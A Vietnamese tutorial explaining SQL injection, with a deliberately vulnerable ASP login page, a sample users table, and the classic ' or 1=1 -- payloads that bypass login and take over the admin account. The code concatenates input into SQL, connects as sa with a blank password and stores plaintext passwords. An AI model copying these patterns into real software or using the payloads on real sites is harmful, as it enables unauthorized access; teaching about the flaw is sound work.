SQL
Injection là gì ?
Cơ sở dữ liệu(database) được coi như là "trái tim" của hầu hết các
website. Nó chứa đựng những dữ liệu cần thiết để website có thể chạy và lưu trữ
các thông tin phát sinh trong quá trình chạy. Nó cũng lưu trữ những thông tin
cá nhân , thẻ tín dụng , mật khẩu của khách hàng , của user và thậm chí là cả
của Administrator. Hơn cả thế nữa , database còn lưu trữ cả những chi tiết về
hoá đơn mua hàng , chi tíêt hàng hoá...Đó chính là lý do mà việc bảo vệ
Database của 1 website lại rất quan trọng để bảo vệ quyền lợi khách hàng, vận
hành việc kinh doanh 1 cách hiệu quả.
Nhưng điều gì xảy ra khi bạn nhận ra rằng những dữ liệu đó không an toàn. Điều
gì sẽ xảy ra khi bạn nhận ra rằng có 1 lỗi bảo mật mới được phát hiện ? Bạn sẽ
trả lời ngay rằng bạn sẽ tìm kiếm 1 phiên bản sữa lổi (patch) hoặc nâng cấp ứng
dụng lên version mới hơn. Nhưng bạn sẽ không ngờ rằng ,còn có 1 loại lỗi khác
không thể nào trông chờ vào việc sửa chữa của hãng viết softwares vì lỗi này
phát sinh là do...chính bạn. Lỗi SQL Injection (Chèn lệnh SQL).
SQL Injection là gì ?
Ngày nay các ứng dụng SQL ngày càng trở nên thân thiện hơn và dễ sử dụng hơn.
Nhưng theo qui tắc bảo mật, cái gì càng dễ sử dụng và càng nhiều tính năng thì
càng dễ bị tấn công và điều này hoàn toàn đúng với 1 số phiên bản của ngôn ngữ
SQL mà tôi sẽ mô tả sau đây bằng 2 công nghệ thông dụng nhất hiện nay , ngôn
ngữ ASP và Ms.SQL server.
Như bạn đã biết, ngôn ngữ SQL (Structured Query Language) thông thường là sự
kết hợp của những lệnh như SELECT , UPDATE hay INSERT... Như với SELECT, sau
mỗi lệnh là sự trả về 1 số data cần thiết, vd như
CODE
SELECT * FROM Users WHERE userName = 'justin';
Định nghĩa WHERE userName = 'justin' có nghĩa rằng chúng ta múôn biết tất cả
các thông tin (*) về username có tên là justin. Bởi vì ngôn ngữ SQL gần với câu
nói tự nhiên , dễ hiểu như vậy nên nó đã nhanh chóng được tiếp nhận và nó cũng
mở ra cơ hội cho việc khai thác lỗi SQL Injection bằng cách "nói
thêm".
Bằng cách chèn thêm 1 vài dòng vào , hackers có thể gây ra sự nhầm lẫn của
server và thực hiện 1 ý đồ khác ngoài mục tiêu của chương trình. Hãy xem xét ví
dụ sau:
Thông thường , để kiểm tra đăng nhập 1 user, đa số website sẽ cung cấp 1 form
như sau:
CODE
<form name="frmLogin" action="login.asp"
method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>
Khi users nhấn nút Submit, website lập tức chuyển data đến files login.asp qua
hàm Request.Form . Sau đó , 1 câu SQL sẽ được thực hiện để xác định danh tính
user này. Chúng ta có thể tạo 1 files login.asp như sau:
CODE
<%
dim userName, password, query
dim conn, rS
userName = Request.Form("userName")
password = Request.Form("password")
set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")
query = "select * from users where userName='" &
userName & "' and userPass='" & password & "'"
conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write "Logged In"
else
response.write "Bad Credentials"
end if
%>
Và sau đó , hãy tạo 1 database mẫu như sau:
CODE
create database myDB
go
use myDB
go
create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('fsmith', 'mypassword')
Nào , bây giờ nếu chúng ta nhập vào user:john và password:doe , thì câu SQL sẽ
như thế này:
CODE
select count(*) from users where userName='john' and userPass='doe'
Boom, chúng ta login được vào trong vì câu query hoàn toàn đúng và User John
cùng với password là hiện hữu. Hãy dừng lại 1 chút ở đây , bạn hãy xem kỹ có
phải bạn cũng đã làm như vậy đối với website của bạn và nó...không có lỗi. Nếu
bạn trả lời là đúng , hãy đọc tiếp...Điều gì xảy ra nếu Hackers điền vào form
như thế này:
User:john
password:' or 1=1 --
Câu query trở thành
CODE
select * from users where userName='john' and
userPass='' or 1=1 --'
Ms.SQL qui định tất cả những gì theo sau "--" đều là câu chú thích
(Giống như dấu // trong C++) , do đó câu query bây giờ sẽ:
1. Kiểm tra xem có username là john hay không ? --> Có
2. Kiểm tra xem 1 = 1 đúng hay không ? --> Đúng
3. Sau -- là chú thích , không quan tâm. --> Đúng
Vì cả 3 điều kiện đều là đúng nên bạn sẽ login được vào tài khoản của john một
cách dễ dàng mà không cần biết password của anh ta. 2 dấu -- để ở cuối câu SQL
dùng để loại bỏ thông báo lỗi của MS.SQL vì còn 1 dấu ngoặc đơn (quote) của câu
SQL chính thức.
Nào , bây giờ xem chúng ta có thể khai thác được gì nhiều hơn từ
"chiêu" đơn giản này ? Bạn hãy nhìn lên Table Users mà bạn vừa tạo
lúc nãy. Trong hầu hết các hệ thống , users cấp cao nhất (Administrator) thường
là user được tạo ra đầu tiên và một biện pháp an toàn cơ bản là không bao giờ
lấy tên User là Administrator , nhưng có hề gì nếu ta nhập vào:
Username: ' or 1=1 ---
Password: [Bất cứ cái gì]
Câu SQL trở thành
CODE
select * from users where userName='' or 1=1
--' and userPass=''
Và boom , bạn đã trở thành Administrator và có mọi quyền hành để điều khiển
website.
Việc nhập vào form của 1 website để khai thác lỗi SQL Injection là cách thường
thấy nhất. Phần sau tôi sẽ hướng dẫn bạn 1 số cách khắc phục , nhưng trước hết
chúng ta hãy xem thêm 1 vài ví dụ về khai thác lỗi SQL Injection